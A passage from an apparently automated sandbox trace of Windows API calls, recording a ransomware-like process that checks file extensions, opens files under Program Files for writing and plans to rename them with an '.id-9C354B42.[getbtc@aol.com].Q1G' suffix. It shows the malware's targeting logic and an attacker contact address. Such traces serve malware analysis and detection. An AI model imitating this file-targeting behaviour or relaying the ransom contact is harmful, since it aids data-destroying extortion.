returned 3 [0236.716] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0236.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0236.716] lstrlenW (lpString=".dbf") returned 4 [0236.716] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0236.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0236.717] lstrlenW (lpString=".1cd") returned 4 [0236.717] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0236.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0236.717] lstrlenW (lpString=".jpg") returned 4 [0236.717] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0236.717] Sleep (dwMilliseconds=0x64) [0236.826] Sleep (dwMilliseconds=0x64) [0236.938] Sleep (dwMilliseconds=0x64) [0237.046] Sleep (dwMilliseconds=0x64) [0237.169] Sleep (dwMilliseconds=0x64) [0237.287] Sleep (dwMilliseconds=0x64) [0237.389] lstrcmpiW (lpString1=".jpg", lpString2=".Q1G") returned -1 [0237.389] lstrlenW (lpString="Roses.jpg") returned 9 [0237.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0237.483] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=1920) returned 1 [0237.483] CloseHandle (hObject=0x210) returned 1 [0237.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0237.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0237.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0237.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0237.483] lstrlenW (lpString=".doc") returned 4 [0237.483] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0237.483] lstrlenW (lpString=".docx") returned 5 [0237.483] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0237.483] lstrlenW (lpString=".pdf") returned 4 [0237.483] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0237.484] lstrlenW (lpString=".xls") returned 4 [0237.484] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0237.484] lstrlenW (lpString=".xlsx") returned 5 [0237.484] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0237.484] lstrlenW (lpString=".ppt") returned 4 [0237.484] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0237.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0237.484] lstrlenW (lpString=".zip") returned 4 [0237.484] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0237.484] lstrlenW (lpString=".rar") returned 4 [0237.484] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0237.484] lstrlenW (lpString=".bz2") returned 4 [0237.484] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0237.484] lstrlenW (lpString=".7z") returned 3 [0237.484] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0237.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0237.484] lstrlenW (lpString=".dbf") returned 4 [0237.484] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0237.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0237.484] lstrlenW (lpString=".1cd") returned 4 [0237.484] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0237.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0237.484] lstrlenW (lpString=".jpg") returned 4 [0237.484] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0237.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0237.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0237.484] lstrlenW (lpString=".doc") returned 4 [0237.484] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0237.484] lstrlenW (lpString=".docx") returned 5 [0237.484] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0237.484] lstrlenW (lpString=".pdf") returned 4 [0237.484] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0237.484] lstrlenW (lpString=".xls") returned 4 [0237.484] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0237.484] lstrlenW (lpString=".xlsx") returned 5 [0237.484] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0237.485] lstrlenW (lpString=".ppt") returned 4 [0237.485] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0237.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0237.485] lstrlenW (lpString=".zip") returned 4 [0237.485] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0237.485] lstrlenW (lpString=".rar") returned 4 [0237.485] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0237.485] lstrlenW (lpString=".bz2") returned 4 [0237.485] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0237.485] lstrlenW (lpString=".7z") returned 3 [0237.485] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0237.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0237.485] lstrlenW (lpString=".dbf") returned 4 [0237.485] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0237.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0237.485] lstrlenW (lpString=".1cd") returned 4 [0237.485] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0237.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0237.485] lstrlenW (lpString=".jpg") returned 4 [0237.485] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0237.485] Sleep (dwMilliseconds=0x64) [0237.741] Sleep (dwMilliseconds=0x64) [0237.970] lstrcmpiW (lpString1=".bmp", lpString2=".Q1G") returned -1 [0237.970] lstrlenW (lpString="verisign.bmp") returned 12 [0237.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0238.005] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=2702) returned 1 [0238.005] CloseHandle (hObject=0x324) returned 1 [0238.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0238.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0238.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0238.005] lstrlenW (lpString=".doc") returned 4 [0238.005] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0238.005] lstrlenW (lpString=".docx") returned 5 [0238.005] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0238.005] lstrlenW (lpString=".pdf") returned 4 [0238.005] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0238.005] lstrlenW (lpString=".xls") returned 4 [0238.005] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0238.005] lstrlenW (lpString=".xlsx") returned 5 [0238.005] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0238.005] lstrlenW (lpString=".ppt") returned 4 [0238.005] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0238.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0238.005] lstrlenW (lpString=".zip") returned 4 [0238.005] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0238.005] lstrlenW (lpString=".rar") returned 4 [0238.006] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0238.006] lstrlenW (lpString=".bz2") returned 4 [0238.006] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0238.006] lstrlenW (lpString=".7z") returned 3 [0238.006] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0238.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0238.006] lstrlenW (lpString=".dbf") returned 4 [0238.006] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0238.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0238.006] lstrlenW (lpString=".1cd") returned 4 [0238.006] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0238.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0238.006] lstrlenW (lpString=".jpg") returned 4 [0238.006] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0238.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0238.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0238.006] lstrlenW (lpString=".doc") returned 4 [0238.006] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0238.006] lstrlenW (lpString=".docx") returned 5 [0238.006] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0238.006] lstrlenW (lpString=".pdf") returned 4 [0238.006] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0238.006] lstrlenW (lpString=".xls") returned 4 [0238.006] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0238.006] lstrlenW (lpString=".xlsx") returned 5 [0238.006] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0238.006] lstrlenW (lpString=".ppt") returned 4 [0238.006] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0238.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0238.006] lstrlenW (lpString=".zip") returned 4 [0238.006] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0238.006] lstrlenW (lpString=".rar") returned 4 [0238.006] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0238.006] lstrlenW (lpString=".bz2") returned 4 [0238.006] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0238.006] lstrlenW (lpString=".7z") returned 3 [0238.007] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0238.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0238.007] lstrlenW (lpString=".dbf") returned 4 [0238.007] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0238.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0238.007] lstrlenW (lpString=".1cd") returned 4 [0238.007] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0238.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0238.007] lstrlenW (lpString=".jpg") returned 4 [0238.007] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0238.007] lstrcmpiW (lpString1=".inc", lpString2=".Q1G") returned -1 [0238.007] lstrlenW (lpString="adcjavas.inc") returned 12 [0238.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0238.184] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=630) returned 1 [0238.189] CloseHandle (hObject=0x388) returned 1 [0238.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0238.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.191] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0238.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0238.191] lstrlenW (lpString=".doc") returned 4 [0238.191] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0238.191] lstrlenW (lpString=".docx") returned 5 [0238.191] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0238.191] lstrlenW (lpString=".pdf") returned 4 [0238.191] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0238.191] lstrlenW (lpString=".xls") returned 4 [0238.191] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0238.191] lstrlenW (lpString=".xlsx") returned 5 [0238.191] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0238.191] lstrlenW (lpString=".ppt") returned 4 [0238.191] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0238.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0238.191] lstrlenW (lpString=".zip") returned 4 [0238.191] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0238.191] lstrlenW (lpString=".rar") returned 4 [0238.191] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0238.191] lstrlenW (lpString=".bz2") returned 4 [0238.191] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0238.191] lstrlenW (lpString=".7z") returned 3 [0238.191] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0238.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0238.192] lstrlenW (lpString=".dbf") returned 4 [0238.192] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0238.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0238.192] lstrlenW (lpString=".1cd") returned 4 [0238.192] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0238.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0238.192] lstrlenW (lpString=".jpg") returned 4 [0238.192] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0238.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0238.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0238.192] lstrlenW (lpString=".doc") returned 4 [0238.192] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0238.192] lstrlenW (lpString=".docx") returned 5 [0238.192] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0238.192] lstrlenW (lpString=".pdf") returned 4 [0238.192] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0238.192] lstrlenW (lpString=".xls") returned 4 [0238.192] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0238.192] lstrlenW (lpString=".xlsx") returned 5 [0238.192] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0238.192] lstrlenW (lpString=".ppt") returned 4 [0238.192] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0238.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0238.192] lstrlenW (lpString=".zip") returned 4 [0238.192] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0238.192] lstrlenW (lpString=".rar") returned 4 [0238.192] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0238.192] lstrlenW (lpString=".bz2") returned 4 [0238.192] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0238.192] lstrlenW (lpString=".7z") returned 3 [0238.192] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0238.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0238.192] lstrlenW (lpString=".dbf") returned 4 [0238.192] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0238.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0238.192] lstrlenW (lpString=".1cd") returned 4 [0238.192] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0238.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0238.193] lstrlenW (lpString=".jpg") returned 4 [0238.193] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0238.193] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0238.193] lstrlenW (lpString="16_9-frame-image-mask.png") returned 25 [0238.193] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0238.235] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=1551) returned 1 [0238.235] CloseHandle (hObject=0x338) returned 1 [0238.235] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png")) returned 0x20 [0238.239] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.239] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.239] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0238.239] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0238.239] lstrlenW (lpString=".doc") returned 4 [0238.239] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.239] lstrlenW (lpString=".docx") returned 5 [0238.239] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0238.239] lstrlenW (lpString=".pdf") returned 4 [0238.239] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.239] lstrlenW (lpString=".xls") returned 4 [0238.239] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.239] lstrlenW (lpString=".xlsx") returned 5 [0238.239] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0238.239] lstrlenW (lpString=".ppt") returned 4 [0238.239] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.239] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0238.239] lstrlenW (lpString=".zip") returned 4 [0238.240] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.240] lstrlenW (lpString=".rar") returned 4 [0238.240] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.240] lstrlenW (lpString=".bz2") returned 4 [0238.240] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.240] lstrlenW (lpString=".7z") returned 3 [0238.240] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.240] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0238.240] lstrlenW (lpString=".dbf") returned 4 [0238.240] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.240] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0238.240] lstrlenW (lpString=".1cd") returned 4 [0238.240] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.240] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0238.240] lstrlenW (lpString=".jpg") returned 4 [0238.240] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.240] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0238.240] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0238.240] lstrlenW (lpString=".doc") returned 4 [0238.240] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.240] lstrlenW (lpString=".docx") returned 5 [0238.240] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0238.240] lstrlenW (lpString=".pdf") returned 4 [0238.240] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.240] lstrlenW (lpString=".xls") returned 4 [0238.240] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.240] lstrlenW (lpString=".xlsx") returned 5 [0238.240] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0238.240] lstrlenW (lpString=".ppt") returned 4 [0238.240] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.240] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0238.240] lstrlenW (lpString=".zip") returned 4 [0238.240] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.240] lstrlenW (lpString=".rar") returned 4 [0238.240] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.240] lstrlenW (lpString=".bz2") returned 4 [0238.240] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.241] lstrlenW (lpString=".7z") returned 3 [0238.241] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.241] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0238.241] lstrlenW (lpString=".dbf") returned 4 [0238.241] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.241] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0238.241] lstrlenW (lpString=".1cd") returned 4 [0238.241] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.241] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0238.241] lstrlenW (lpString=".jpg") returned 4 [0238.241] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.241] lstrcmpiW (lpString1=".wmv", lpString2=".Q1G") returned 1 [0238.241] lstrlenW (lpString="bear_formatted_matte2.wmv") returned 25 [0238.241] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0238.560] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=181298) returned 1 [0238.560] CloseHandle (hObject=0x338) returned 1 [0238.560] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv")) returned 0x20 [0238.623] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.636] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.636] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0238.636] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0238.636] lstrlenW (lpString=".doc") returned 4 [0238.636] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0238.636] lstrlenW (lpString=".docx") returned 5 [0238.636] lstrcmpiW (lpString1=".docx", lpString2="2.wmv") returned -1 [0238.636] lstrlenW (lpString=".pdf") returned 4 [0238.637] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0238.637] lstrlenW (lpString=".xls") returned 4 [0238.637] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0238.637] lstrlenW (lpString=".xlsx") returned 5 [0238.637] lstrcmpiW 